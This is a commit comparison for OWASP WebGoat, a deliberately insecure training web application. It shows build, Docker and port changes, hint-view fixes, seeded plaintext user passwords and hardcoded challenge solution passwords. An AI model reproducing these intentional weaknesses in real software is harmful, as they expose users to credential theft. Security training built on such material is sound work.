Compare commits
58 Commits
v8.0.0
...
v8.0.0.M20
Author | SHA1 | Date | |
---|---|---|---|
898dd90c6f | |||
ac12a009e4 | |||
699b1bfd89 | |||
ad77a7ab24 | |||
b7278590f5 | |||
9dd93d88d9 | |||
4c767cb977 | |||
12123ef13b | |||
c7da546249 | |||
a41ff0083c | |||
701a99cf8f | |||
844808bfa7 | |||
81aac93dfe | |||
e5ec2c1ee0 | |||
b0fbeaff2c | |||
b47bb96534 | |||
3b9b695ef1 | |||
1d2575a211 | |||
56fc983414 | |||
268adbcf7e | |||
f383454440 | |||
bae3e75ae2 | |||
a7b82985d4 | |||
3d282e163c | |||
7068c84c6a | |||
0030c7bdfb | |||
89f6a73275 | |||
cf0e4e40cf | |||
dfd51f8b54 | |||
5e8c610fbf | |||
71514fc39b | |||
1734170e9e | |||
c89afe6334 | |||
9af0054b5b | |||
26aa72e721 | |||
c510bd9bf1 | |||
6bf853d953 | |||
b298440985 | |||
c7a714a590 | |||
93620f148b | |||
ecb7688e08 | |||
0de784eb32 | |||
4691bc5fd5 | |||
fc2c99bcb4 | |||
7292a577e3 | |||
396c1c1d47 | |||
2911788679 | |||
e96ab488ff | |||
31f7ea6985 | |||
186f24f1df | |||
089dd56a15 | |||
6cfefba0ee | |||
20e45da8ae | |||
e34faa13d6 | |||
927bbad488 | |||
a922c00182 | |||
f21fe7f2c3 | |||
3cd349bb4b |
@ -28,12 +28,7 @@ deploy:
|
|||||||
on:
|
on:
|
||||||
repo: WebGoat/WebGoat
|
repo: WebGoat/WebGoat
|
||||||
tags: true
|
tags: true
|
||||||
- provider: script
|
branch: master
|
||||||
skip_cleanup: true
|
|
||||||
script: bash scripts/deploy-webgoat.sh
|
|
||||||
on:
|
|
||||||
repo: WebGoat/WebGoat
|
|
||||||
branch: develop
|
|
||||||
- provider: releases
|
- provider: releases
|
||||||
skip_cleanup: true
|
skip_cleanup: true
|
||||||
overwrite: true
|
overwrite: true
|
||||||
@ -45,6 +40,7 @@ deploy:
|
|||||||
on:
|
on:
|
||||||
repo: WebGoat/WebGoat
|
repo: WebGoat/WebGoat
|
||||||
tags: true
|
tags: true
|
||||||
|
branch: master
|
||||||
env:
|
env:
|
||||||
global:
|
global:
|
||||||
#Docker login
|
#Docker login
|
||||||
|
34
README.MD
34
README.MD
@ -29,7 +29,18 @@ first thing that all hackers claim.*
|
|||||||
|
|
||||||
# Run Instructions:
|
# Run Instructions:
|
||||||
|
|
||||||
## 1. Run using Docker
|
## 1. Standalone
|
||||||
|
|
||||||
|
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
||||||
|
|
||||||
|
```Shell
|
||||||
|
java -jar webgoat-server-<<version>>.jar [--server.port=8080] [--server.address=localhost]
|
||||||
|
```
|
||||||
|
|
||||||
|
By default WebGoat starts on port 8080 with `--server.port` you can specify a different port. With `server.address` you
|
||||||
|
can bind it to a different address (default localhost)
|
||||||
|
|
||||||
|
## 2. Run using Docker
|
||||||
|
|
||||||
From time to time we publish a new development preview of WebGoat 8 on Docker HUB, you can download this version
|
From time to time we publish a new development preview of WebGoat 8 on Docker HUB, you can download this version
|
||||||
[https://hub.docker.com/r/webgoat/webgoat-8.0/](https://hub.docker.com/r/webgoat/webgoat-8.0/).
|
[https://hub.docker.com/r/webgoat/webgoat-8.0/](https://hub.docker.com/r/webgoat/webgoat-8.0/).
|
||||||
@ -65,27 +76,6 @@ Here you'll be able to register a new user and get started.
|
|||||||
|
|
||||||
_Please note: this version may not be completely in sync with the develop branch._
|
_Please note: this version may not be completely in sync with the develop branch._
|
||||||
|
|
||||||
## 2. Standalone
|
|
||||||
|
|
||||||
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
|
||||||
|
|
||||||
```Shell
|
|
||||||
java -jar webgoat-server-<<version>>.jar
|
|
||||||
```
|
|
||||||
|
|
||||||
By default WebGoat starts at port 8080 in order to change this use the following property:
|
|
||||||
|
|
||||||
```Shell
|
|
||||||
java -jar webgoat-server-<<version>>.jar --server.port=9090
|
|
||||||
```
|
|
||||||
|
|
||||||
You can specify one of the following arguments when starting WebGoat:
|
|
||||||
|
|
||||||
```Shell
|
|
||||||
java -jar webgoat-server-<<version>>.jar --server.port=9090 --server.address=x.x.x.x
|
|
||||||
```
|
|
||||||
|
|
||||||
This will start WebGoat on a different port and/or different address.
|
|
||||||
|
|
||||||
|
|
||||||
## 3. Run from the sources
|
## 3. Run from the sources
|
||||||
|
@ -6,6 +6,7 @@ services:
|
|||||||
user: webgoat
|
user: webgoat
|
||||||
environment:
|
environment:
|
||||||
- WEBWOLF_HOST=webwolf
|
- WEBWOLF_HOST=webwolf
|
||||||
|
- WEBWOLF_PORT=9090
|
||||||
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
|
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
|
||||||
- spring.datasource.username=webgoat
|
- spring.datasource.username=webgoat
|
||||||
- spring.datasource.password=webgoat
|
- spring.datasource.password=webgoat
|
||||||
@ -22,7 +23,7 @@ services:
|
|||||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||||
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
|
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
|
||||||
ports:
|
ports:
|
||||||
- "8081:8081"
|
- "9090:9090"
|
||||||
db:
|
db:
|
||||||
container_name: webgoat_db
|
container_name: webgoat_db
|
||||||
image: postgres:latest
|
image: postgres:latest
|
||||||
|
@ -5,6 +5,7 @@ services:
|
|||||||
image: webgoat/webgoat-8.0
|
image: webgoat/webgoat-8.0
|
||||||
environment:
|
environment:
|
||||||
- WEBWOLF_HOST=webwolf
|
- WEBWOLF_HOST=webwolf
|
||||||
|
- WEBWOLF_PORT=9090
|
||||||
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
|
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
@ -15,7 +16,7 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
|
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
|
||||||
ports:
|
ports:
|
||||||
- "8081:8081"
|
- "9090:9090"
|
||||||
depends_on:
|
depends_on:
|
||||||
- db
|
- db
|
||||||
db:
|
db:
|
||||||
|
4
platformQuickStarts/GCP/GKE-Docker/deploy.cfg
Normal file
4
platformQuickStarts/GCP/GKE-Docker/deploy.cfg
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
CURTAG=webgoat/webgoat-8.0
|
||||||
|
DEST_TAG=gcr.io/astech-training/raging-wire-webgoat
|
||||||
|
CLUSTER_NAME=raging-wire-webgoat
|
||||||
|
PORT_NUM=8080
|
4
platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh
Normal file
4
platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
CURTAG=webgoat/webgoat-8.0
|
||||||
|
DEST_TAG=gcr.io/your-gke-project/your-webgoat-tag
|
||||||
|
CLUSTER_NAME=your-cluster-name
|
||||||
|
PORT_NUM=8080
|
19
pom.xml
19
pom.xml
@ -1,11 +1,12 @@
|
|||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
|
||||||
<modelVersion>4.0.0</modelVersion>
|
<modelVersion>4.0.0</modelVersion>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<packaging>pom</packaging>
|
<packaging>pom</packaging>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
|
|
||||||
<name>WebGoat Parent Pom</name>
|
<name>WebGoat Parent Pom</name>
|
||||||
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
|
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
|
||||||
@ -53,17 +54,17 @@
|
|||||||
<developer>
|
<developer>
|
||||||
<id>jwayman</id>
|
<id>jwayman</id>
|
||||||
<name>Jeff Wayman</name>
|
<name>Jeff Wayman</name>
|
||||||
<email />
|
<email/>
|
||||||
</developer>
|
</developer>
|
||||||
<developer>
|
<developer>
|
||||||
<id>dcowden</id>
|
<id>dcowden</id>
|
||||||
<name>Dave Cowden</name>
|
<name>Dave Cowden</name>
|
||||||
<email />
|
<email/>
|
||||||
</developer>
|
</developer>
|
||||||
<developer>
|
<developer>
|
||||||
<id>lawson89</id>
|
<id>lawson89</id>
|
||||||
<name>Richard Lawson</name>
|
<name>Richard Lawson</name>
|
||||||
<email />
|
<email/>
|
||||||
</developer>
|
</developer>
|
||||||
<developer>
|
<developer>
|
||||||
<id>dougmorato</id>
|
<id>dougmorato</id>
|
||||||
@ -225,7 +226,9 @@
|
|||||||
</goals>
|
</goals>
|
||||||
<phase>generate-resources</phase>
|
<phase>generate-resources</phase>
|
||||||
<configuration>
|
<configuration>
|
||||||
<outputDirectory>${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons</outputDirectory>
|
<outputDirectory>
|
||||||
|
${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons
|
||||||
|
</outputDirectory>
|
||||||
<includeArtifactIds>dist</includeArtifactIds>
|
<includeArtifactIds>dist</includeArtifactIds>
|
||||||
<includes>*.jar</includes>
|
<includes>*.jar</includes>
|
||||||
</configuration>
|
</configuration>
|
||||||
@ -324,7 +327,7 @@
|
|||||||
<artifactId>coveralls-maven-plugin</artifactId>
|
<artifactId>coveralls-maven-plugin</artifactId>
|
||||||
<version>${coveralls-maven-plugin.version}</version>
|
<version>${coveralls-maven-plugin.version}</version>
|
||||||
<configuration>
|
<configuration>
|
||||||
<repoToken />
|
<repoToken/>
|
||||||
</configuration>
|
</configuration>
|
||||||
</plugin>
|
</plugin>
|
||||||
<plugin>
|
<plugin>
|
||||||
@ -332,7 +335,7 @@
|
|||||||
<artifactId>cobertura-maven-plugin</artifactId>
|
<artifactId>cobertura-maven-plugin</artifactId>
|
||||||
<version>${cobertura-maven-plugin.version}</version>
|
<version>${cobertura-maven-plugin.version}</version>
|
||||||
<configuration>
|
<configuration>
|
||||||
<check />
|
<check/>
|
||||||
<format>xml</format>
|
<format>xml</format>
|
||||||
<maxmem>256m</maxmem>
|
<maxmem>256m</maxmem>
|
||||||
<!-- aggregated reports for multi-module projects -->
|
<!-- aggregated reports for multi-module projects -->
|
||||||
|
32
scripts/build-all.sh
Normal file
32
scripts/build-all.sh
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
|
cd ..
|
||||||
|
|
||||||
|
nc -zv 127.0.0.1 8080 2>/dev/null
|
||||||
|
SUCCESS=$?
|
||||||
|
nc -zv 127.0.0.1 9090 2>/dev/null
|
||||||
|
SUCCESS=${SUCCESS}$?
|
||||||
|
|
||||||
|
if [[ "${SUCCESS}" -eq 00 ]] ; then
|
||||||
|
echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!"
|
||||||
|
exit 127
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
#mvn clean install
|
||||||
|
#if [[ "$?" -ne 0 ]] ; then
|
||||||
|
# exit y$?
|
||||||
|
#fi
|
||||||
|
|
||||||
|
cd -
|
||||||
|
sh build_docker.sh
|
||||||
|
|
||||||
|
echo "Do you want to run docker-compose?"
|
||||||
|
while true; do
|
||||||
|
read -p "Do you want to run docker-compose?" yn
|
||||||
|
case ${yn} in
|
||||||
|
[Yy]* ) sh clean-run-docker-compose.sh; break;;
|
||||||
|
[Nn]* ) exit;;
|
||||||
|
* ) echo "Please answer yes or no.";;
|
||||||
|
esac
|
||||||
|
done
|
10
scripts/build_docker.sh
Normal file
10
scripts/build_docker.sh
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
WEBGOAT_HOME=$(pwd)/../
|
||||||
|
|
||||||
|
cd ${WEBGOAT_HOME}/webgoat-server
|
||||||
|
docker build -t webgoat/webgoat-8.0 .
|
||||||
|
|
||||||
|
cd ${WEBGOAT_HOME}/webwolf
|
||||||
|
docker build -t webgoat/webwolf .
|
||||||
|
|
5
scripts/clean-run-docker-compose.sh
Normal file
5
scripts/clean-run-docker-compose.sh
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
|
cd ..
|
||||||
|
docker-compose rm -f
|
||||||
|
docker-compose up
|
@ -10,10 +10,10 @@ if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
|
|||||||
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
|
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
|
||||||
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
|
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
|
||||||
docker push $REPO
|
docker push $REPO
|
||||||
elif [ ! -z "${TRAVIS_TAG}" ]; then
|
#elif [ ! -z "${TRAVIS_TAG}" ]; then
|
||||||
# Creating a tag build we push it to Docker with that tag
|
# # Creating a tag build we push it to Docker with that tag
|
||||||
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
|
# docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
|
||||||
docker push $REPO
|
# docker push $REPO
|
||||||
#elif [ "${BRANCH}" == "develop" ]; then
|
#elif [ "${BRANCH}" == "develop" ]; then
|
||||||
# docker build -f Dockerfile -t $REPO:snapshot .
|
# docker build -f Dockerfile -t $REPO:snapshot .
|
||||||
# docker push $REPO
|
# docker push $REPO
|
||||||
|
4
scripts/run-docker-compose.sh
Normal file
4
scripts/run-docker-compose.sh
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
|
cd ..
|
||||||
|
docker-compose up
|
@ -10,7 +10,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
|
@ -232,7 +232,7 @@ public class CreateDB {
|
|||||||
|
|
||||||
// Create the new table
|
// Create the new table
|
||||||
try {
|
try {
|
||||||
String createTableStatement = "CREATE TABLE user_system_data (" + "userid varchar(5) not null primary key,"
|
String createTableStatement = "CREATE TABLE user_system_data (" + "userid int not null primary key,"
|
||||||
+ "user_name varchar(12)," + "password varchar(10)," + "cookie varchar(30)" + ")";
|
+ "user_name varchar(12)," + "password varchar(10)," + "cookie varchar(30)" + ")";
|
||||||
statement.executeUpdate(createTableStatement);
|
statement.executeUpdate(createTableStatement);
|
||||||
} catch (SQLException e) {
|
} catch (SQLException e) {
|
||||||
@ -240,11 +240,11 @@ public class CreateDB {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Populate
|
// Populate
|
||||||
String insertData1 = "INSERT INTO user_system_data VALUES ('101','jsnow','passwd1', '')";
|
String insertData1 = "INSERT INTO user_system_data VALUES (101,'jsnow','passwd1', '')";
|
||||||
String insertData2 = "INSERT INTO user_system_data VALUES ('102','jdoe','passwd2', '')";
|
String insertData2 = "INSERT INTO user_system_data VALUES (102,'jdoe','passwd2', '')";
|
||||||
String insertData3 = "INSERT INTO user_system_data VALUES ('103','jplane','passwd3', '')";
|
String insertData3 = "INSERT INTO user_system_data VALUES (103,'jplane','passwd3', '')";
|
||||||
String insertData4 = "INSERT INTO user_system_data VALUES ('104','jeff','jeff', '')";
|
String insertData4 = "INSERT INTO user_system_data VALUES (104,'jeff','jeff', '')";
|
||||||
String insertData5 = "INSERT INTO user_system_data VALUES ('105','dave','dave', '')";
|
String insertData5 = "INSERT INTO user_system_data VALUES (105,'dave','passW0rD', '')";
|
||||||
statement.executeUpdate(insertData1);
|
statement.executeUpdate(insertData1);
|
||||||
statement.executeUpdate(insertData2);
|
statement.executeUpdate(insertData2);
|
||||||
statement.executeUpdate(insertData3);
|
statement.executeUpdate(insertData3);
|
||||||
|
@ -4,6 +4,7 @@ import lombok.Getter;
|
|||||||
import lombok.Setter;
|
import lombok.Setter;
|
||||||
|
|
||||||
import javax.validation.constraints.NotNull;
|
import javax.validation.constraints.NotNull;
|
||||||
|
import javax.validation.constraints.Pattern;
|
||||||
import javax.validation.constraints.Size;
|
import javax.validation.constraints.Size;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -16,6 +17,7 @@ public class UserForm {
|
|||||||
|
|
||||||
@NotNull
|
@NotNull
|
||||||
@Size(min=6, max=20)
|
@Size(min=6, max=20)
|
||||||
|
@Pattern(regexp = "[a-zA-Z0-9-]*", message = "can only contain letters, digits, and -")
|
||||||
private String username;
|
private String username;
|
||||||
@NotNull
|
@NotNull
|
||||||
@Size(min=6, max=10)
|
@Size(min=6, max=10)
|
||||||
|
@ -37,7 +37,7 @@ webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
|||||||
webgoat.default.language=en
|
webgoat.default.language=en
|
||||||
|
|
||||||
webwolf.host=${WEBWOLF_HOST:localhost}
|
webwolf.host=${WEBWOLF_HOST:localhost}
|
||||||
webwolf.port=${WEBWOLF_PORT:8081}
|
webwolf.port=${WEBWOLF_PORT:9090}
|
||||||
webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf
|
webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf
|
||||||
webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing
|
webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing
|
||||||
webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail
|
webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail
|
||||||
|
@ -79,6 +79,7 @@ define(['jquery',
|
|||||||
this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton);
|
this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton);
|
||||||
this.lessonContentView.navToPage(pageNum);
|
this.lessonContentView.navToPage(pageNum);
|
||||||
this.lessonHintView.hideHints();
|
this.lessonHintView.hideHints();
|
||||||
|
this.lessonHintView.showFirstHint();
|
||||||
//this.lessonHintView.selectHints();
|
//this.lessonHintView.selectHints();
|
||||||
this.titleView.render(this.lessonInfoModel.get('lessonTitle'));
|
this.titleView.render(this.lessonInfoModel.get('lessonTitle'));
|
||||||
return;
|
return;
|
||||||
@ -160,7 +161,7 @@ define(['jquery',
|
|||||||
}
|
}
|
||||||
//
|
//
|
||||||
this.lessonHintView.render();
|
this.lessonHintView.render();
|
||||||
if (this.lessonHintView.getHintsCount > 0) {
|
if (this.lessonHintView.getHintsCount() > 0) {
|
||||||
this.helpControlsView.showHintsButton();
|
this.helpControlsView.showHintsButton();
|
||||||
} else {
|
} else {
|
||||||
this.helpControlsView.hideHintsButton();
|
this.helpControlsView.hideHintsButton();
|
||||||
|
@ -32,7 +32,11 @@ define(['jquery',
|
|||||||
}
|
}
|
||||||
this.set('content',content);
|
this.set('content',content);
|
||||||
this.set('lessonUrl',document.URL.replace(/\.lesson.*/,'.lesson'));
|
this.set('lessonUrl',document.URL.replace(/\.lesson.*/,'.lesson'));
|
||||||
|
if (/.*\.lesson\/(\d{1,4})$/.test(document.URL)) {
|
||||||
this.set('pageNum',document.URL.replace(/.*\.lesson\/(\d{1,4})$/,'$1'));
|
this.set('pageNum',document.URL.replace(/.*\.lesson\/(\d{1,4})$/,'$1'));
|
||||||
|
} else {
|
||||||
|
this.set('pageNum',0);
|
||||||
|
}
|
||||||
this.trigger('content:loaded',this,loadHelps);
|
this.trigger('content:loaded',this,loadHelps);
|
||||||
},
|
},
|
||||||
|
|
||||||
|
@ -32,21 +32,19 @@ function($,
|
|||||||
|
|
||||||
toggleLabel: function() {
|
toggleLabel: function() {
|
||||||
if (this.isVisible()) {
|
if (this.isVisible()) {
|
||||||
$('show-hints-button').text('Hide hints');
|
$('#show-hints-button').text('Hide hints');
|
||||||
} else {
|
} else {
|
||||||
$('show-hints-button').text('Show hints');
|
$('#show-hints-button').text('Show hints');
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
render:function() {
|
render:function() {
|
||||||
if (this.isVisible()) {
|
if (this.isVisible()) {
|
||||||
this.$el.hide(350);
|
this.$el.hide(350, this.toggleLabel.bind(this));
|
||||||
} else if (this.hintsToShow.length > 0) {
|
} else if (this.hintsToShow.length > 0) {
|
||||||
this.$el.show(350);
|
this.$el.show(350, this.toggleLabel.bind(this));
|
||||||
}
|
}
|
||||||
|
|
||||||
this.toggleLabel()
|
|
||||||
|
|
||||||
if (this.hintsToShow.length > 0) {
|
if (this.hintsToShow.length > 0) {
|
||||||
this.hideShowPrevNextButtons();
|
this.hideShowPrevNextButtons();
|
||||||
}
|
}
|
||||||
@ -90,7 +88,7 @@ function($,
|
|||||||
|
|
||||||
hideHints: function() {
|
hideHints: function() {
|
||||||
if (this.$el.is(':visible')) {
|
if (this.$el.is(':visible')) {
|
||||||
this.$el.hide(350);
|
this.$el.hide(350, this.toggleLabel.bind(this));
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
@ -106,6 +104,12 @@ function($,
|
|||||||
this.displayHint(this.curHint);
|
this.displayHint(this.curHint);
|
||||||
},
|
},
|
||||||
|
|
||||||
|
showFirstHint: function() {
|
||||||
|
this.curHint = 0;
|
||||||
|
this.hideShowPrevNextButtons();
|
||||||
|
this.displayHint(this.curHint);
|
||||||
|
},
|
||||||
|
|
||||||
displayHint: function(curHint) {
|
displayHint: function(curHint) {
|
||||||
if(this.hintsToShow.length == 0) {
|
if(this.hintsToShow.length == 0) {
|
||||||
// this.hideHints();
|
// this.hideHints();
|
||||||
|
@ -123,8 +123,9 @@
|
|||||||
<section class="main-content-wrapper">
|
<section class="main-content-wrapper">
|
||||||
<section id="main-content"> <!--ng-controller="goatLesson"-->
|
<section id="main-content"> <!--ng-controller="goatLesson"-->
|
||||||
<div id="lesson-page" class="pages">
|
<div id="lesson-page" class="pages">
|
||||||
<span th:text="${numUsers}"> Users in WebGoat</span>
|
<span th:text="${numUsers}"></span>
|
||||||
<!-- iterate over users below -->su
|
<span> Users in WebGoat</span>
|
||||||
|
|
||||||
<div sec:authorize="hasAuthority('WEBGOAT_ADMIN')">
|
<div sec:authorize="hasAuthority('WEBGOAT_ADMIN')">
|
||||||
<h3>WebGoat Users</h3>
|
<h3>WebGoat Users</h3>
|
||||||
<div th:each="user : ${allUsers}">
|
<div th:each="user : ${allUsers}">
|
||||||
|
2
webgoat-images/vagrant-training/Vagrantfile
vendored
2
webgoat-images/vagrant-training/Vagrantfile
vendored
@ -3,7 +3,7 @@
|
|||||||
Vagrant.configure(2) do |config|
|
Vagrant.configure(2) do |config|
|
||||||
config.vm.box = "ubuntu/trusty64"
|
config.vm.box = "ubuntu/trusty64"
|
||||||
config.vm.network :forwarded_port, guest: 8080, host: 8080
|
config.vm.network :forwarded_port, guest: 8080, host: 8080
|
||||||
config.vm.network :forwarded_port, guest: 8081, host: 8081
|
config.vm.network :forwarded_port, guest: 9090, host: 9090
|
||||||
config.vm.provider "virtualbox" do |vb|
|
config.vm.provider "virtualbox" do |vb|
|
||||||
vb.gui = false
|
vb.gui = false
|
||||||
vb.memory = "4096"
|
vb.memory = "4096"
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
|
|
||||||
|
@ -11,7 +11,5 @@ public interface SolutionConstants {
|
|||||||
//TODO should be random generated when starting the server
|
//TODO should be random generated when starting the server
|
||||||
String PASSWORD = "!!webgoat_admin_1234!!";
|
String PASSWORD = "!!webgoat_admin_1234!!";
|
||||||
String PASSWORD_TOM = "thisisasecretfortomonly";
|
String PASSWORD_TOM = "thisisasecretfortomonly";
|
||||||
String PASSWORD_LARRY = "larryknows";
|
|
||||||
String JWT_PASSWORD = "victory";
|
|
||||||
String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
|
String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
|
||||||
}
|
}
|
||||||
|
@ -1,150 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge3;
|
|
||||||
|
|
||||||
import com.beust.jcommander.internal.Lists;
|
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
|
||||||
import com.google.common.collect.EvictingQueue;
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import com.google.common.io.Files;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.joda.time.DateTime;
|
|
||||||
import org.joda.time.format.DateTimeFormat;
|
|
||||||
import org.joda.time.format.DateTimeFormatter;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
|
||||||
import org.owasp.webgoat.plugin.Flag;
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
|
||||||
import org.springframework.http.MediaType;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
|
||||||
import org.springframework.web.bind.annotation.RequestHeader;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import javax.annotation.PostConstruct;
|
|
||||||
import javax.xml.bind.JAXBContext;
|
|
||||||
import javax.xml.bind.Unmarshaller;
|
|
||||||
import javax.xml.stream.XMLInputFactory;
|
|
||||||
import javax.xml.stream.XMLStreamReader;
|
|
||||||
import java.io.File;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.StringReader;
|
|
||||||
import java.nio.charset.Charset;
|
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
|
||||||
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
|
||||||
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
|
||||||
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/8/17.
|
|
||||||
*/
|
|
||||||
@AssignmentPath("/challenge/3")
|
|
||||||
@Slf4j
|
|
||||||
public class Assignment3 extends AssignmentEndpoint {
|
|
||||||
|
|
||||||
@Value("${webgoat.server.directory}")
|
|
||||||
private String webGoatHomeDirectory;
|
|
||||||
@Autowired
|
|
||||||
private WebSession webSession;
|
|
||||||
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
|
||||||
|
|
||||||
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
|
|
||||||
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
|
|
||||||
